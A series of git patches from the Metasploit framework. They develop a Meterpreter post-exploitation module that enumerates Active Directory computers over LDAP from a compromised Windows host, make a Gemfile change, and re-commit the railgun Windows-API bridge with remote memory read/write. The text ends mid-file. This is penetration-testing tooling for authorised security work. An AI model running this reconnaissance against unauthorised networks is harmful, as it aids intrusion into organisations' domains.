++++++++++++------ 1 file changed, 90 insertions(+), 39 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 6572188234..338fe1f2a6 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -5,21 +5,13 @@ # http://metasploit.com/ ## -require 'msf/core' require 'rex' - -# Multi platform requiere -require 'msf/core/post/common' -require 'msf/core/post/file' - -require 'msf/core/post/windows/registry' +require 'msf/core' +require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post - include Msf::Post::Common - include Msf::Post::File - - include Msf::Post::Windows::Registry + include Msf::Auxiliary::Report def initialize(info={}) super( update_info( info, @@ -28,21 +20,54 @@ class Metasploit3 < Msf::Post This module will enumerate computers included in the primary Domain. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell '], - 'Platform' => [ 'win'], + 'Author' => [ 'Ben Campbell ' ], + 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end - + def read_value(addr) val_size = client.railgun.memread(addr-4,4).unpack('V*')[0] value = client.railgun.memread(addr, val_size) return value.strip end - - def run + def run + print_status("Connecting to default LDAP server") + session_handle = bind_default_ldap_server + + if session_handle == 0 + return + end + + print_status("Querying default naming context") + defaultNamingContext = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])[0]['attributes'][0]['values'] + print_status("Default Naming Context #{defaultNamingContext}") + attributes = [ 'dNSHostName', 'distinguishedName', 'description', 'operatingSystem', 'operatingSystemServicePack', 'serverReferenceBL', 'userAccountControl'] + + print_status("Querying computer objects - Please wait...") + results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes) + + results_table = Rex::Ui::Text::Table.new( + 'Header' => 'AD Computers', + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => attributes + ) + + results.each do |result| + row = [] + + result['attributes'].each do |attr| + row << attr['values'] + end + + results_table << row + end + + print_line results_table.to_s + #attributes = [ 'objectClass','cn', 'description', 'distinguishedName','instanceType','whenCreated', # 'whenChanged','uSNCreated','uSNChanged','name','objectGUID', # 'userAccountControl','badPwdCount','codePage','countryCode', @@ -54,24 +79,36 @@ class Metasploit3 < Msf::Post # 'netbootSCPBL','isCriticalSystemObject','frsComputerReferenceBL', # 'lastLogonTimestamp','msDS-SupportedEncryptionTypes' # ] - - print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? - - wldap32 = client.railgun.wldap32 + end + + def wldap32 + return client.railgun.wldap32 + end + + def bind_default_ldap_server + vprint_status ("Initializing LDAP connection.") + session_handle = wldap32.ldap_sslinitA("\x00\x00\x00\x00", 389, 0)['return'] + vprint_status("LDAP Handle: #{session_handle}") - print_status ("Initialize LDAP connection.") - ldap_handle = wldap32.ldap_sslinitA(nil, 389, 0)['return'] - vprint_status("LDAP Handle: #{ldap_handle}") + if session_handle == 0 + print_error("Unable to connect to LDAP server") + return 0 + end - print_status ("Bindings to LDAP server.") - bind = wldap32.ldap_bind_sA(ldap_handle, nil, nil, 0x0486) #LDAP_AUTH_NEGOTIATE + vprint_status ("Binding to LDAP server.") + bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE - print_status ("Searching LDAP directory.") + if bind != 0 + print_error("Unable to bind to LDAP server") + return 0 + end + + return session_handle + end - base = "DC=test,DC=lab" - scope = 2 #LDAP_SCOPE_SUBTREE - - search = wldap32.ldap_search_sA(ldap_handle, base, scope, "(objectClass=computer)", nil, 0, 4) + def query_ldap(session_handle, base, scope, filter, attributes) + vprint_status ("Searching LDAP directory.") + search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4) vprint_status("search: #{search}") if search['return'] != 0 @@ -80,26 +117,30 @@ class Metasploit3 < Msf::Post return end - search_count = wldap32.ldap_count_entries(ldap_handle, search['res'])['return'] + search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return'] print_status("Entries retrieved: #{search_count}") - - print_status("Retrieving results...") + vprint_status("Retrieving results...") entries = {} + entry_results = [] + + # user definied limit on entries to search? for i in 0..(search_count-1) - print_line "-"*46 + print '.' + if i==0 - entries[i] = wldap32.ldap_first_entry(ldap_handle, search['res'])['return'] + entries[i] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] else - entries[i] = wldap32.ldap_next_entry(ldap_handle, entries[i-1])['return'] + entries[i] = wldap32.ldap_next_entry(session_handle, entries[i-1])['return'] end vprint_status("Entry #{i}: #{entries[i]}") + attribute_results = [] attributes.each do |attr| - print_status("Attr: #{attr}") + vprint_status("Attr: #{attr}") - pp_value = wldap32.ldap_get_values(ldap_handle, entries[i], attr)['return'] + pp_value = wldap32.ldap_get_values(session_handle, entries[i], attr)['return'] vprint_status("ppValue: 0x#{pp_value.to_s(16)}") if pp_value == 0 @@ -108,6 +149,7 @@ class Metasploit3 < Msf::Post count = wldap32.ldap_count_values(pp_value)['return'] vprint_status "Value count: #{count}" + value_results = [] if count < 1 vprint_error("Bad Value List") else @@ -115,8 +157,10 @@ class Metasploit3 < Msf::Post p_value = client.railgun.memread(pp_value+(j*4), 4).unpack('V*')[0] vprint_status "p_value: 0x#{p_value.to_s(16)}" value = read_value(p_value) - print_status "Value: #{value}" + vprint_status "Value: #{value}" + value_results << value end + value_results = value_results.join('|') end end @@ -124,7 +168,14 @@ class Metasploit3 < Msf::Post vprint_status("Free value memory.") wldap32.ldap_value_free(pp_value) end + + attribute_results << {"name" => attr, "values" => value_results} end + + entry_results << {"id" => i, "attributes" => attribute_results} end + + print_line + return entry_results end end From 761d83ac0ce110b2d3c67c6831ed0b02b7671d62 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 20 Dec 2012 16:29:21 +0000 Subject: [PATCH 005/129] Tidyup and user options --- .../post/windows/gather/enum_ad_computers.rb | 59 +++++++++++++------ 1 file changed, 42 insertions(+), 17 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 338fe1f2a6..81470e443f 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -17,13 +17,19 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Windows Gather AD Enumerate Computers', 'Description' => %q{ - This module will enumerate computers included in the primary Domain. + This module will enumerate computers in the default AD directory. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell ' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) + + register_options([ + OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 20]), + OptBool.new('STORE', [true, 'Store file in loot.', false]), + OptString.new('ATTRIBS', [true, 'Attributes to retrieve.', 'dNSHostName,distinguishedName,description,operatingSystem']) + ], self.class) end def read_value(addr) @@ -44,7 +50,19 @@ class Metasploit3 < Msf::Post defaultNamingContext = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])[0]['attributes'][0]['values'] print_status("Default Naming Context #{defaultNamingContext}") - attributes = [ 'dNSHostName', 'distinguishedName', 'description', 'operatingSystem', 'operatingSystemServicePack', 'serverReferenceBL', 'userAccountControl'] + attributes = datastore['ATTRIBS'].split(',') + + #attributes = [ 'objectClass','cn', 'description', 'distinguishedName','instanceType','whenCreated', + # 'whenChanged','uSNCreated','uSNChanged','name','objectGUID', + # 'userAccountControl','badPwdCount','codePage','countryCode', + # 'badPasswordTime','lastLogoff','lastLogon','localPolicyFlags', + # 'pwdLastSet','primaryGroupID','objectSid','accountExpires', + # 'logonCount','sAMAccountName','sAMAccountType','operatingSystem', + # 'operatingSystemVersion','operatingSystemServicePack','serverReferenceBL', + # 'dNSHostName','rIDSetPreferences','servicePrincipalName','objectCategory', + # 'netbootSCPBL','isCriticalSystemObject','frsComputerReferenceBL', + # 'lastLogonTimestamp','msDS-SupportedEncryptionTypes' + # ] print_status("Querying computer objects - Please wait...") results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes) @@ -60,25 +78,22 @@ class Metasploit3 < Msf::Post row = [] result['attributes'].each do |attr| - row << attr['values'] + if attr['values'].nil? + row << "" + else + row << attr['values'] + end end results_table << row + end print_line results_table.to_s - - #attributes = [ 'objectClass','cn', 'description', 'distinguishedName','instanceType','whenCreated', - # 'whenChanged','uSNCreated','uSNChanged','name','objectGUID', - # 'userAccountControl','badPwdCount','codePage','countryCode', - # 'badPasswordTime','lastLogoff','lastLogon','localPolicyFlags', - # 'pwdLastSet','primaryGroupID','objectSid','accountExpires', - # 'logonCount','sAMAccountName','sAMAccountType','operatingSystem', - # 'operatingSystemVersion','operatingSystemServicePack','serverReferenceBL', - # 'dNSHostName','rIDSetPreferences','servicePrincipalName','objectCategory', - # 'netbootSCPBL','isCriticalSystemObject','frsComputerReferenceBL', - # 'lastLogonTimestamp','msDS-SupportedEncryptionTypes' - # ] + if datastore['STORE'] + stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_s) + print_status("Results saved to: #{stored_path}") + end end def wldap32 @@ -125,8 +140,14 @@ class Metasploit3 < Msf::Post entries = {} entry_results = [] + if datastore['MAX_SEARCH'] == 0 + max_search = search_count + else + max_search = [datastore['MAX_SEARCH'], search_count].min + end + # user definied limit on entries to search? - for i in 0..(search_count-1) + for i in 0..(max_search-1) print '.' if i==0 @@ -158,7 +179,11 @@ class Metasploit3 < Msf::Post vprint_status "p_value: 0x#{p_value.to_s(16)}" value = read_value(p_value) vprint_status "Value: #{value}" - value_results << value + if value.nil? + value_results << "" + else + value_results << value + end end value_results = value_results.join('|') end From e8cf26390a1bfcdd66a9045d70ead6026f5e554c Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 20 Dec 2012 16:34:10 +0000 Subject: [PATCH 006/129] Msftidy --- .../post/windows/gather/enum_ad_computers.rb | 66 +++++++++---------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb index 81470e443f..caf0278fd2 100644 --- a/modules/post/windows/gather/enum_ad_computers.rb +++ b/modules/post/windows/gather/enum_ad_computers.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) - + register_options([ OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 20]), OptBool.new('STORE', [true, 'Store file in loot.', false]), @@ -37,21 +37,21 @@ class Metasploit3 < Msf::Post value = client.railgun.memread(addr, val_size) return value.strip end - + def run print_status("Connecting to default LDAP server") session_handle = bind_default_ldap_server - + if session_handle == 0 return end - + print_status("Querying default naming context") defaultNamingContext = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])[0]['attributes'][0]['values'] print_status("Default Naming Context #{defaultNamingContext}") - + attributes = datastore['ATTRIBS'].split(',') - + #attributes = [ 'objectClass','cn', 'description', 'distinguishedName','instanceType','whenCreated', # 'whenChanged','uSNCreated','uSNChanged','name','objectGUID', # 'userAccountControl','badPwdCount','codePage','countryCode', @@ -63,20 +63,20 @@ class Metasploit3 < Msf::Post # 'netbootSCPBL','isCriticalSystemObject','frsComputerReferenceBL', # 'lastLogonTimestamp','msDS-SupportedEncryptionTypes' # ] - + print_status("Querying computer objects - Please wait...") results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes) - + results_table = Rex::Ui::Text::Table.new( 'Header' => 'AD Computers', 'Indent' => 1, 'SortIndex' => -1, 'Columns' => attributes ) - + results.each do |result| row = [] - + result['attributes'].each do |attr| if attr['values'].nil? row << "" @@ -86,25 +86,25 @@ class Metasploit3 < Msf::Post end results_table << row - + end - + print_line results_table.to_s if datastore['STORE'] stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_s) print_status("Results saved to: #{stored_path}") end end - + def wldap32 return client.railgun.wldap32 end - + def bind_default_ldap_server vprint_status ("Initializing LDAP connection.") session_handle = wldap32.ldap_sslinitA("\x00\x00\x00\x00", 389, 0)['return'] vprint_status("LDAP Handle: #{session_handle}") - + if session_handle == 0 print_error("Unable to connect to LDAP server") return 0 @@ -112,20 +112,20 @@ class Metasploit3 < Msf::Post vprint_status ("Binding to LDAP server.") bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE - + if bind != 0 print_error("Unable to bind to LDAP server") return 0 - end - + end + return session_handle end def query_ldap(session_handle, base, scope, filter, attributes) vprint_status ("Searching LDAP directory.") - search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4) + search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4) vprint_status("search: #{search}") - + if search['return'] != 0 print_error("No results") wldap32.ldap_msgfree(search['res']) @@ -134,42 +134,42 @@ class Metasploit3 < Msf::Post search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return'] print_status("Entries retrieved: #{search_count}") - + vprint_status("Retrieving results...") - + entries = {} entry_results = [] - + if datastore['MAX_SEARCH'] == 0 max_search = search_count else max_search = [datastore['MAX_SEARCH'], search_count].min end - + # user definied limit on entries to search? for i in 0..(max_search-1) print '.' - + if i==0 entries[i] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] else entries[i] = wldap32.ldap_next_entry(session_handle, entries[i-1])['return'] end vprint_status("Entry #{i}: #{entries[i]}") - + attribute_results = [] attributes.each do |attr| vprint_status("Attr: #{attr}") - + pp_value = wldap32.ldap_get_values(session_handle, entries[i], attr)['return'] vprint_status("ppValue: 0x#{pp_value.to_s(16)}") - + if pp_value == 0 vprint_error("No attribute value returned.") - else + else count = wldap32.ldap_count_values(pp_value)['return'] vprint_status "Value count: #{count}" - + value_results = [] if count < 1 vprint_error("Bad Value List") @@ -193,13 +193,13 @@ class Metasploit3 < Msf::Post vprint_status("Free value memory.") wldap32.ldap_value_free(pp_value) end - + attribute_results << {"name" => attr, "values" => value_results} end - + entry_results << {"id" => i, "attributes" => attribute_results} end - + print_line return entry_results end From 0fb36f20240aa237237a081800bc37f84cdc0eb5 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 28 Dec 2012 13:28:19 -0600 Subject: [PATCH 007/129] Get pg as a dependency of metasploit_data_models [#38274165] metasploit_data_models already declares pg as a runtime dependency in its gemspec, so there is no need to add pg as a direct dependency of metasploit-framework, since metasploit-framework only needs pg for metasploit_data_models. --- Gemfile | 2 -- Gemfile.lock | 1 - 2 files changed, 3 deletions(-) diff --git a/Gemfile b/Gemfile index 52d2e44c51..0bb1135b0b 100755 --- a/Gemfile +++ b/Gemfile @@ -6,8 +6,6 @@ gem 'activesupport', '>= 3.0.0' gem 'activerecord' # Database models shared between framework and Pro. gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' -# Needed for module caching in Mdm::ModuleDetails -gem 'pg', '>= 0.11' group :development do # Markdown formatting for yard diff --git a/Gemfile.lock b/Gemfile.lock index 3f4ffb72e0..a9531cb601 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -60,7 +60,6 @@ DEPENDENCIES activerecord activesupport (>= 3.0.0) metasploit_data_models! - pg (>= 0.11) rake redcarpet rspec (>= 2.12) From 0b3143ff45a9a4250f724f0db324660a25fb5b1b Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 30 Dec 2012 16:32:15 +0000 Subject: [PATCH 008/129] Fix railgun EOL --- .../extensions/stdapi/railgun/railgun.rb | 598 +++++++++--------- 1 file changed, 299 insertions(+), 299 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 9c5dc4651c..d0c3e1c608 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -1,299 +1,299 @@ -# -*- coding: binary -*- -# Copyright (c) 2010, patrickHVE@googlemail.com -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions are met: -# * Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# * Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# * The names of the author may not be used to endorse or promote products -# derived from this software without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -# DISCLAIMED. IN NO EVENT SHALL patrickHVE@googlemail.com BE LIABLE FOR ANY -# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -# -# sf - Sept 2010 - Modified for x64 support and merged into the stdapi extension. -# - -# -# chao - June 2011 - major overhaul of dll lazy loading, caching, and bit of everything -# - -require 'pp' -require 'enumerator' - -require 'rex/post/meterpreter/extensions/stdapi/railgun/api_constants' -require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' -require 'rex/post/meterpreter/extensions/stdapi/railgun/util' -require 'rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager' -require 'rex/post/meterpreter/extensions/stdapi/railgun/multicall' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll' -require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper' - -module Rex -module Post -module Meterpreter -module Extensions -module Stdapi -module Railgun - - -# -# The Railgun class to dynamically expose the Windows API. -# -class Railgun - - # - # Railgun::DLL's that have builtin definitions. - # - # If you want to add additional DLL definitions to be preloaded create a - # definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'. - # Naming is important and should follow convention. For example, if your - # dll's name was "my_dll" - # file name: def_my_dll.rb - # class name: Def_my_dll - # entry below: 'my_dll' - # - BUILTIN_DLLS = [ - 'kernel32', - 'ntdll', - 'user32', - 'ws2_32', - 'iphlpapi', - 'advapi32', - 'shell32', - 'netapi32', - 'crypt32', - 'wlanapi', - 'wldap32' - ].freeze - - ## - # Returns a Hash containing DLLs added to this instance with #add_dll - # as well as references to any frozen cached dlls added directly in #get_dll - # and copies of any frozen dlls (added directly with #add_function) - # that the user attempted to modify with #add_function. - # - # Keys are friendly DLL names and values are the corresponding DLL instance - attr_accessor :dlls - - ## - # Contains a reference to the client that corresponds to this instance of railgun - attr_accessor :client - - ## - # These DLLs are loaded lazily and then shared amongst all railgun instances. - # For safety reasons this variable should only be read/written within #get_dll. - @@cached_dlls = {} - - # if you are going to touch @@cached_dlls, wear protection - @@cache_semaphore = Mutex.new - - def initialize(client) - self.client = client - self.dlls = {} - end - - def self.builtin_dlls - BUILTIN_DLLS - end - - # - # Return this Railgun's Util instance. - # - def util - if @util.nil? - @util = Util.new(self, client.platform) - end - - return @util - end - - # - # Return this Railgun's WinConstManager instance, initially populated with - # constants defined in ApiConstants. - # - def constant_manager - # Loads lazily - return ApiConstants.manager - end - - # - # Read data from a memory address on the host (useful for working with - # LPVOID parameters) - # - def memread(address, length) - - raise "Invalid parameters." if(not address or not length) - - request = Packet.create_request('stdapi_railgun_memread') - - request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) - request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) - - response = client.send_request(request) - if(response.result == 0) - return response.get_tlv_value(TLV_TYPE_RAILGUN_MEM_DATA) - end - - return nil - end - - # - # Write data to a memory address on the host (useful for working with - # LPVOID parameters) - # - def memwrite(address, data, length) - - raise "Invalid parameters." if(not address or not data or not length) - - request = Packet.create_request('stdapi_railgun_memwrite') - - request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) - request.add_tlv(TLV_TYPE_RAILGUN_MEM_DATA, data) - request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) - - response = client.send_request(request) - if(response.result == 0) - return true - end - - return false - end - - # - # Adds a function to an existing DLL definition. - # - # If the DLL definition is frozen (ideally this should be the case for all - # cached dlls) an unfrozen copy is created and used henceforth for this - # instance. - # - def add_function(dll_name, function_name, return_type, params, windows_name=nil) - - unless known_dll_names.include?(dll_name) - raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, "")}" - end - - dll = get_dll(dll_name) - - # For backwards compatibility, we ensure the dll is thawed - if dll.frozen? - # Duplicate not only the dll, but its functions as well. Frozen status will be lost - dll = Marshal.load(Marshal.dump(dll)) - - # Update local dlls with the modifiable duplicate - dlls[dll_name] = dll - end - - dll.add_function(function_name, return_type, params, windows_name) - end - - # - # Adds a DLL to this Railgun. - # - # The +windows_name+ is the name used on the remote system and should be - # set appropriately if you want to include a path or the DLL name contains - # non-ruby-approved characters. - # - # Raises an exception if a dll with the given name has already been - # defined. - # - def add_dll(dll_name, windows_name=dll_name) - - if dlls.has_key? dll_name - raise "A DLL of name #{dll_name} has already been loaded." - end - - dlls[dll_name] = DLL.new(windows_name, constant_manager) - end - - - def known_dll_names - return BUILTIN_DLLS | dlls.keys - end - - # - # Attempts to provide a DLL instance of the given name. Handles lazy - # loading and caching. Note that if a DLL of the given name does not - # exist, returns nil - # - def get_dll(dll_name) - - # If the DLL is not local, we now either load it from cache or load it lazily. - # In either case, a reference to the dll is stored in the collection "dlls" - # If the DLL can not be found/created, no actions are taken - unless dlls.has_key? dll_name - # We read and write to @@cached_dlls and rely on state consistency - @@cache_semaphore.synchronize do - if @@cached_dlls.has_key? dll_name - dlls[dll_name] = @@cached_dlls[dll_name] - elsif BUILTIN_DLLS.include? dll_name - # I highly doubt this case will ever occur, but I am paranoid - if dll_name !~ /^\w+$/ - raise "DLL name #{dll_name} is bad. Correct Railgun::BUILTIN_DLLS" - end - - require 'rex/post/meterpreter/extensions/stdapi/railgun/def/def_' << dll_name - dll = Def.const_get('Def_' << dll_name).create_dll.freeze - - @@cached_dlls[dll_name] = dll - dlls[dll_name] = dll - end - end - - end - - return dlls[dll_name] - end - - # - # Fake having members like user32 and kernel32. - # reason is that - # ...user32.MessageBoxW() - # is prettier than - # ...dlls["user32"].functions["MessageBoxW"]() - # - def method_missing(dll_symbol, *args) - dll_name = dll_symbol.to_s - - unless known_dll_names.include? dll_name - raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, '')}" - end - - dll = get_dll(dll_name) - - return DLLWrapper.new(dll, client) - end - - # - # Return a Windows constant matching +str+. - # - def const(str) - return constant_manager.parse(str) - end - - # - # The multi-call shorthand (["kernel32", "ExitProcess", [0]]) - # - def multi(functions) - if @multicaller.nil? - @multicaller = MultiCaller.new(client, self) - end - - return @multicaller.call(functions) - end -end - -end; end; end; end; end; end +# -*- coding: binary -*- +# Copyright (c) 2010, patrickHVE@googlemail.com +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are met: +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above copyright +# notice, this list of conditions and the following disclaimer in the +# documentation and/or other materials provided with the distribution. +# * The names of the author may not be used to endorse or promote products +# derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL patrickHVE@googlemail.com BE LIABLE FOR ANY +# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +# +# sf - Sept 2010 - Modified for x64 support and merged into the stdapi extension. +# + +# +# chao - June 2011 - major overhaul of dll lazy loading, caching, and bit of everything +# + +require 'pp' +require 'enumerator' + +require 'rex/post/meterpreter/extensions/stdapi/railgun/api_constants' +require 'rex/post/meterpreter/extensions/stdapi/railgun/tlv' +require 'rex/post/meterpreter/extensions/stdapi/railgun/util' +require 'rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager' +require 'rex/post/meterpreter/extensions/stdapi/railgun/multicall' +require 'rex/post/meterpreter/extensions/stdapi/railgun/dll' +require 'rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun + + +# +# The Railgun class to dynamically expose the Windows API. +# +class Railgun + + # + # Railgun::DLL's that have builtin definitions. + # + # If you want to add additional DLL definitions to be preloaded create a + # definition class 'rex/post/meterpreter/extensions/stdapi/railgun/def/'. + # Naming is important and should follow convention. For example, if your + # dll's name was "my_dll" + # file name: def_my_dll.rb + # class name: Def_my_dll + # entry below: 'my_dll' + # + BUILTIN_DLLS = [ + 'kernel32', + 'ntdll', + 'user32', + 'ws2_32', + 'iphlpapi', + 'advapi32', + 'shell32', + 'netapi32', + 'crypt32', + 'wlanapi', + 'wldap32' + ].freeze + + ## + # Returns a Hash containing DLLs added to this instance with #add_dll + # as well as references to any frozen cached dlls added directly in #get_dll + # and copies of any frozen dlls (added directly with #add_function) + # that the user attempted to modify with #add_function. + # + # Keys are friendly DLL names and values are the corresponding DLL instance + attr_accessor :dlls + + ## + # Contains a reference to the client that corresponds to this instance of railgun + attr_accessor :client + + ## + # These DLLs are loaded lazily and then shared amongst all railgun instances. + # For safety reasons this variable should only be read/written within #get_dll. + @@cached_dlls = {} + + # if you are going to touch @@cached_dlls, wear protection + @@cache_semaphore = Mutex.new + + def initialize(client) + self.client = client + self.dlls = {} + end + + def self.builtin_dlls + BUILTIN_DLLS + end + + # + # Return this Railgun's Util instance. + # + def util + if @util.nil? + @util = Util.new(self, client.platform) + end + + return @util + end + + # + # Return this Railgun's WinConstManager instance, initially populated with + # constants defined in ApiConstants. + # + def constant_manager + # Loads lazily + return ApiConstants.manager + end + + # + # Read data from a memory address on the host (useful for working with + # LPVOID parameters) + # + def memread(address, length) + + raise "Invalid parameters." if(not address or not length) + + request = Packet.create_request('stdapi_railgun_memread') + + request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) + request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) + + response = client.send_request(request) + if(response.result == 0) + return response.get_tlv_value(TLV_TYPE_RAILGUN_MEM_DATA) + end + + return nil + end + + # + # Write data to a memory address on the host (useful for working with + # LPVOID parameters) + # + def memwrite(address, data, length) + + raise "Invalid parameters." if(not address or not data or not length) + + request = Packet.create_request('stdapi_railgun_memwrite') + + request.add_tlv(TLV_TYPE_RAILGUN_MEM_ADDRESS, address) + request.add_tlv(TLV_TYPE_RAILGUN_MEM_DATA, data) + request.add_tlv(TLV_TYPE_RAILGUN_MEM_LENGTH, length) + + response = client.send_request(request) + if(response.result == 0) + return true + end + + return false + end + + # + # Adds a function to an existing DLL definition. + # + # If the DLL definition is frozen (ideally this should be the case for all + # cached dlls) an unfrozen copy is created and used henceforth for this + # instance. + # + def add_function(dll_name, function_name, return_type, params, windows_name=nil) + + unless known_dll_names.include?(dll_name) + raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, "")}" + end + + dll = get_dll(dll_name) + + # For backwards compatibility, we ensure the dll is thawed + if dll.frozen? + # Duplicate not only the dll, but its functions as well. Frozen status will be lost + dll = Marshal.load(Marshal.dump(dll)) + + # Update local dlls with the modifiable duplicate + dlls[dll_name] = dll + end + + dll.add_function(function_name, return_type, params, windows_name) + end + + # + # Adds a DLL to this Railgun. + # + # The +windows_name+ is the name used on the remote system and should be + # set appropriately if you want to include a path or the DLL name contains + # non-ruby-approved characters. + # + # Raises an exception if a dll with the given name has already been + # defined. + # + def add_dll(dll_name, windows_name=dll_name) + + if dlls.has_key? dll_name + raise "A DLL of name #{dll_name} has already been loaded." + end + + dlls[dll_name] = DLL.new(windows_name, constant_manager) + end + + + def known_dll_names + return BUILTIN_DLLS | dlls.keys + end + + # + # Attempts to provide a DLL instance of the given name. Handles lazy + # loading and caching. Note that if a DLL of the given name does not + # exist, returns nil + # + def get_dll(dll_name) + + # If the DLL is not local, we now either load it from cache or load it lazily. + # In either case, a reference to the dll is stored in the collection "dlls" + # If the DLL can not be found/created, no actions are taken + unless dlls.has_key? dll_name + # We read and write to @@cached_dlls and rely on state consistency + @@cache_semaphore.synchronize do + if @@cached_dlls.has_key? dll_name + dlls[dll_name] = @@cached_dlls[dll_name] + elsif 